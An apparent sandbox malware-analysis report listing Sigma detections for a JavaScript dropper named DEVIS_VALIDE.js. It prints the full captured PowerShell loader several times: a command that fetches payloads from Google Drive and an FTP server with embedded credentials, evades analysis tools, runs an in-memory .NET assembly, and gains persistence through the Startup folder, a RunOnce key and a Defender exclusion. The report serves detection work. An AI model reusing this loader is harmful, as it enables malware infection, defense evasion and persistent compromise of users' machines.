                  Source: Process startedAuthor: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: PowerShell Web Download
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: Powershell Defender Exclusion
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6536, ParentProcessName: powershell.exe, ProcessCommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, ProcessId: 4944, ProcessName: powershell.exe
                  Sigma detected: Suspicious Copy From or To System Directory
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: Suspicious Powershell In Registry Run Keys
                  Source: Registry Key setAuthor: frack113, Florian Roth (Nextron Systems): Data: Details: cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7668, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_lme
                  Sigma detected: Usage Of Web Request Commands And Cmdlets
                  Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js", ProcessId: 7136, ProcessName: wscript.exe
                  Sigma detected: Local Accounts Discovery
                  Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\", CommandLine: cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6536, ParentProcessName: powershell.exe, ProcessCommandLine: cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\", ProcessId: 4484, ProcessName: cmd.exe
                  Sigma detected: Non Interactive PowerShell Process Spawned
                  Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66
                  Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
                  Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$
                  Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                  Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5764, TargetFilename: C:\Users\user\AppData\Local\Temp\dll03.ps1

                  Persistence and Installation Behavior

                  barindex
                  Sigma detected: Copy file to startup via Powershell
                  Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') 